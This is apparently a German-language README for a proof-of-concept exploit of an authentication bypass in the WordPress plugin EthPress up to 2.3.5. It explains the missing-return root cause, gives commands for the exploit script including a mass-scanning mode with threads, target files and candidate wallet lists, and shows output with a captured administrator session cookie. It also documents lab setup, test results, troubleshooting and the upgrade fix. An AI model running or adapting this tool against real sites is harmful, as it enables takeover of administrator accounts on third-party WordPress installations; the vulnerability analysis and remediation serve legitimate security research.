
Verifizierter Proof-of-Concept, der die unauthentifizierte Authentifizierungsumgehung in EthPress <= 2.3.5 ausnutzt und über eine Wallet-Adresse eine WordPress-Administratorsitzung erlangt.
Funktionierender, verifizierter Proof-of-Concept für die Umgehung der EthPress-Wallet-Login-Authentifizierung, entwickelt und validiert gegen das X-1-Localhost-Lab.
RAZZ, Benutzer-ID 1, roles=['administrator'])
und benötigt dafür lediglich eine öffentliche Wallet-Adresse.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) prüft die Wallet-Signatur, erzeugt bei
fehlgeschlagener Prüfung einen WP_Error — und vergisst dann das return:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
Die Ausführung läuft weiter in den Login-Block, Address::log_in() löst die
vom Angreifer übergebene Wallet-Adresse zu ihrem zugehörigen WordPress-Benutzer
auf, und wp_set_auth_cookie() authentifiziert diesen Benutzer. Die Antwort ist
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
requests ist die einzige Abhängigkeit (pip install requests). Die gesamte
Ethereum-Kryptografie (Keccak-256, secp256k1, RFC-6979-Signierung,
Adress-Recovery) ist in poc.py ausschließlich mit der Standardbibliothek
implementiert.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php und ethpressLoginWP.loginNonce
auslesen. Es handelt sich um ein wp_create_nonce('ethpress_log_in'), das
für eine anonyme (uid=0) Sitzung erzeugt wurde und daher für den eigenen
nicht authentifizierten AJAX-Aufruf des Angreifers gültig ist.coinbase abweicht.
verify2() gibt [false, error] zurück — und 2.3.5 verwirft dies. (Eine
vollständig leere Signatur funktioniert ebenfalls; poc.py fällt
automatisch darauf zurück.)/wp-admin/
erreichen, den REST-Nonce der Sitzung auslesen und
/wp/v2/users/me?context=edit aufrufen → echte Benutzer-ID, Login und
Rollen; zusätzlich den Zugriff auf vier reine Administrator-Oberflächen
bestätigen.Beliebigen Teil davon reproduzieren:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update schreibt genau den Storage-Key, den auch das plugin-eigene
Address::create() schreibt (update_user_meta($uid, 'ethpress', $coinbase)),
sodass die Vorbedingung auf dem legitimen Weg bereitgestellt wird — keine
künstliche Abschwächung des Ziels.
Referenz-Builds zum Diffen liegen außerhalb des Plugin-Verzeichnisses:
../_plugin-reference/ethpress/{vulnerable,latest}.
Ein In-Place-Austausch der Plugin-Versionen, während Apache weiterläuft, lässt
den alten kompilierten Bytecode im OPcache zurück. PHP führt dann weiterhin
die Dateien der vorherigen Version aus; da freemius/start.php:584 in 2.3.6
freemius/require.php → includes/class-fs-hook-snapshot.php benötigt (eine
Datei, die nur in 2.3.6 existiert), lieferte die Seite HTTP 500, obwohl 2.3.5
auf der Platte lag. lab-switch-version.sh startet wp_app jetzt nach jedem
Wechsel neu und wartet darauf, dass /wp-login.php 200 zurückgibt. Immer die
laufende Version bestätigen, nicht nur die auf der Platte.
| Code | Bedeutung |
|---|---|
0 | mindestens ein Ziel wurde EXPLOITED |
1 | lief fehlerfrei, kein Ziel exploited |
2 | fehlerhafte Nutzung — fehlende/unlesbare Eingabedatei oder keine Wallet-Adresse angegeben |
-a ist das Eine, das stimmen muss-a/--address muss die Wallet-Adresse sein, die bereits verknüpft ist mit
dem Ziel-WordPress-Konto — d. h. die wp_usermeta-Zeile mit
meta_key = 'ethpress'. Der PoC kann sie nicht erraten: Die Adresse wird
nirgendwo öffentlich preisgegeben.
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
Wenn Sie eine andere Adresse übergeben, endet der Lauf als exploited 0 / 1 —
aber der Umgehungsmechanismus selbst funktioniert, die Adresse löst lediglich
zu keinem Benutzer auf. Der PoC gibt jetzt einen expliziten Block „warum es
nicht geklappt hat“ plus Hinweise für jeden Nicht-Treffer aus, sodass dies nicht
mehr stillschweigend geschieht.
CVE-2026-19125/
├── README.md this file
├── analysis.md root cause, patch, chain, reliability, remediation
├── intel.md advisory facts + verification-vs-advisory table
├── poc.py the exploit (self-contained crypto, -f -t -o)
├── patch.diff app/Login.php 2.3.5 -> 2.3.6
├── boundary-test.py signature-input boundary harness
├── lab-switch-version.sh swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt attack-surface: ethpress AJAX registrations
├── hooks.txt hook registrations (Plugin::attach_hooks)
├── results.jsonl exploitation record (2.3.5) <- success
├── results-patched.jsonl exploitation record (2.3.6 control) <- blocked
├── results-neg.jsonl negative control (unlinked address)
└── evidence/
├── raw-transcript.txt raw HTTP: nonce -> bypass -> cookie -> admin proof
├── raw-repro.sh regenerates the above
├── boundary-matrix.txt which signature inputs bypass / 500 / fail
├── run-positive.log PoC run on 2.3.5
├── run-patched-236.log PoC run on 2.3.6
└── results-registration-open.jsonl users_can_register=1 branch behaviour
Aktualisieren Sie EthPress auf 2.3.6 oder neuer. Es gibt keinen
Konfigurations-Workaround: Der Fehler liegt im Login-Kontrollfluss selbst. Wenn
ein Upgrade nicht sofort möglich ist, deaktivieren Sie den Wallet-Login des
Plugins (oder das Plugin) und prüfen Sie wp_usermeta auf ethpress-Verknüpfungen
bei privilegierten Konten.
Nur für autorisierte Sicherheitsforschung in einem isolierten Localhost-Lab. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für deren Test Sie keine schriftliche Genehmigung haben. Autor: Poloss.
| Flag | Bedeutung |
|---|
-f, --file | Datei mit Ziel-URLs (eine pro Zeile, #-Kommentare) für Massenscan + Auto-Exploit |
-t, --threads | Anzahl gleichzeitiger Worker-Threads (Standard 10) |
-o, --output | Ausgabe-/Log-Pfad, JSON Lines (Standard cve-2026-19125-results.jsonl) |
-u, --url | einzelne Ziel-URL (wiederholbar) |
-a, --address | Opfer-Wallet-Adresse, die mit einem WordPress-Konto verknüpft ist |
-af, --address-file | Datei mit Kandidaten-Wallet-Adressen |
-k, --private-key | privater Schlüssel des Angreifers als Hex (Standard: frischer Zufallsschlüssel pro Angriff) |
--timeout | HTTP-Timeout in Sekunden (Standard 20) |
--verify-tls | TLS-Zertifikate verifizieren |
-q, --quiet | Fortschrittszeilen pro Ziel unterdrücken |
| Test | Build | Erwartet | Beobachtet | Artefakt |
|---|
| Positiver Exploit, verknüpfte Admin-Adresse | 2.3.5 | Übernahme | id=1 RAZZ roles=['administrator'], alle 4 Admin-Caps | results.jsonl, evidence/run-positive.log |
| Negativkontrolle, nicht verknüpfte Adresse | 2.3.5 | keine Sitzung | "You have not registered on this site" | results-neg.jsonl |
| Gepatchte Kontrolle, beide Primitive | 2.3.6 | abgelehnt | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Rohe curl-Reproduktion, ohne Tooling | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | bestätigt |
| Signatur-Eingabe-Grenzmatrix | 2.3.5 | gemischt | 2 deterministische Primitive; Zufalls-Blobs ≈50/50 oder HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, nicht verknüpfte Adresse | 2.3.5 | neue Abonnenten-Sitzung | Benutzer 0xAAAA... mit Rolle subscriber erstellt, eingeloggt (danach entfernt) | evidence/results-registration-open.jsonl |
| Symptom | Bedeutung | Lösung |
|---|
failed ... "You have not registered on this site; we cannot log you in" | die übergebene Adresse ist mit keinem Konto verknüpft | die Adresse aus wp user meta get <id> ethpress übergeben |
failed ... "Failed to verify signature. The address ... extracted for address ..." | Ziel ist GEPATCHT (>= 2.3.6) | erwartetes Kontrollverhalten; 2.3.5 via lab-switch-version.sh neu installieren |
not_vulnerable ... wp-login.php returned HTTP ... | EthPress fehlt, Login-Methode deaktiviert oder Seite down | wp plugin list prüfen und dass /wp-login.php 200 zurückgibt |
unreachable ... ConnectionError | keine HTTP-Erreichbarkeit | Host/Port prüfen |
cookie_issued_not_accepted | Cookie ausgestellt, aber abgelehnt | Nonce ist abgelaufen (5 Minuten Lebensdauer) — erneut ausführen |
| HTTP 500 beim AJAX-Aufruf, kein Cookie | eine nicht behebbare Signatur ließ die mitgelieferte Krypto eine Exception werfen | der PoC vermeidet dies durch die deterministischen Primitive |
wp-login.php gibt 500 zurück, während 2.3.5 auf der Platte liegt | veralteter OPcache nach einem Versionswechsel | docker restart wp_app (wird von lab-switch-version.sh behandelt) |